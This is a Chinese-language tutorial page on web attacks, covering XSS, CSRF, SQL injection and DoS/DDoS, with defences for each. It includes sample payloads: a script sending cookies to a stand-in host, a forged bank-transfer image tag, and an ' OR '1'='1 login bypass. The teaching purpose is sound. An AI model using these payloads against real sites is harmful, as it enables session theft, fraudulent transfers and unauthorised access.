計算機網絡 網絡攻擊

跨站腳本攻擊 XSS

跨站腳本攻擊(Cross-Site Scripting, XSS),可以將代碼注入到用戶瀏覽的網頁上,這種代碼包括 HTML 和 JavaScript。

攻擊原理

例如有一個論壇網站,攻擊者可以在上面發佈以下內容:

<script>location.href="//domain.com/?c=" + document.cookie</script>

之後該內容可能會被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理用戶登錄狀態,那麼攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。

危害

  • 竊取用戶的 Cookie
  • 僞造虛假的輸入表單騙取個人信息
  • 顯示僞造的文章或者圖片

防範手段

1. 設置 Cookie 爲 HttpOnly

設置了 HttpOnly 的 Cookie 可以防止 JavaScript 腳本調用,就無法通過 document.cookie 獲取用戶 Cookie 信息。

2. 過濾特殊字符

例如將 < 轉義爲 &lt;,將 > 轉義爲 &gt;,從而避免 HTML 和 Jascript 代碼的運行。

富文本編輯器允許用戶輸入 HTML 代碼,就不能簡單地將 < 等字符進行過濾,極大地提高了 XSS 攻擊的可能性。

富文本編輯器通常採用 XSS filter 來防範 XSS 攻擊,通過定義一些標籤白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。如將 form 和 script 等標籤轉義,而 h 和 p 等標籤則保留。

跨站請求僞造 CSRF

跨站請求僞造(Cross-site request forgery,CSRF),是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經認證過的網站並執行一些操作(如發郵件,發消息,甚至財產操作如轉賬和購買商品)。由於瀏覽器曾經認證過,所以被訪問的網站會認爲是真正的用戶操作而去執行。

XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶瀏覽器的信任。

攻擊原理

假如一家銀行用以執行轉賬操作的 URL 地址如下:

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName

那麼,一個惡意攻擊者可以在另一個網站上放置如下代碼:

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">

如果有賬戶名爲 Alice 的用戶訪問了惡意站點,而她之前剛訪問過銀行不久,登錄信息尚未過期,那麼她就會損失 1000 美元。

這種惡意的網址可以有很多種形式,藏身於網頁中的許多地方。此外,攻擊者也不需要控制放置惡意網址的網站。例如他可以將這種地址藏在論壇,博客等任何用戶生成內容的網站中。這意味着如果服務器端沒有合適的防禦措施的話,用戶即使訪問熟悉的可信網站也有受攻擊的危險。

通過例子能夠看出,攻擊者並不能通過 CSRF 攻擊來直接獲取用戶的賬戶控制權,也不能直接竊取用戶的任何信息。他們能做到的是欺騙用戶瀏覽器,讓其以用戶的名義執行操作。

防範手段

1. 檢查 Referer 首部字段

Referer 首部字段位於 HTTP 報文中,用於標識請求來源的地址。檢查這個首部字段並要求請求來源的地址在同一個域名下,可以極大的防止 CSRF 攻擊。

這種辦法簡單易行,工作量低,僅需要在關鍵訪問處增加一步校驗。但這種辦法也有其侷限性,因其完全依賴瀏覽器發送正確的 Referer 字段。雖然 HTTP 協議對此字段的內容有明確的規定,但並無法保證來訪的瀏覽器的具體實現,亦無法保證瀏覽器沒有安全漏洞影響到此字段。並且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。

2. 添加校驗 Token

在訪問敏感數據請求時,要求用戶瀏覽器提供不保存在 Cookie 中並且攻擊者無法僞造的數據作爲校驗。例如服務器生成隨機數並附加在表單中,並要求客戶端傳回這個隨機數。

3. 輸入驗證碼

因爲 CSRF 攻擊是在用戶無意識的情況下發生的,所以要求用戶輸入驗證碼可以讓用戶知道自己正在做的操作。

SQL 注入攻擊

服務器上的數據庫運行非法的 SQL 語句,主要通過拼接來完成。

攻擊原理

例如一個網站登錄驗證的 SQL 查詢代碼爲:

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下內容:

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那麼 SQL 查詢字符串爲:

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

此時無需驗證通過就能執行以下查詢:

strSQL = "SELECT * FROM users;"

防範手段

1. 使用參數化查詢

Java 中的 PreparedStatement 是預先編譯的 SQL 語句,可以傳入適當參數並且多次執行。由於沒有拼接的過程,因此可以防止 SQL 注入的發生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

2. 單引號轉換

將傳入的參數中的單引號轉換爲連續兩個單引號。

拒絕服務攻擊 Dos / DDos

拒絕服務攻擊(denial-of-service attack,DoS),亦稱洪水攻擊,其目的在於使目標電腦的網絡或系統資源耗盡,使服務暫時中斷或停止,導致其正常用戶無法訪問。

分佈式拒絕服務攻擊(distributed denial-of-service attack,DDoS),指攻擊者使用兩個或以上被攻陷的電腦作爲“殭屍”向特定的目標發動“拒絕服務”式攻擊。

  1. 過濾不必要的服務和端口

  2. 異常流量的清洗過濾

  3. 分佈式集羣防禦:這是目前網絡安全界防禦大規模DDOS攻擊的最有效辦法。分佈式集羣防禦的特點是在每個節點服務器配置多個IP地址(負載均衡),並且每個節點能承受不低於10G的DDOS攻擊,如一個節點受攻擊無法提供服務,系統將會根據優先級設置自動切換另一個節點,並將攻擊者的數據包全部返回發送點,使攻擊源成爲癱瘓狀態,從更爲深度的安全防護角度去影響企業的安全執行決策。

  4. 高防智能DNS解析

參考:

https://cyc2018.github.io/CS-Notes/#/notes/%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章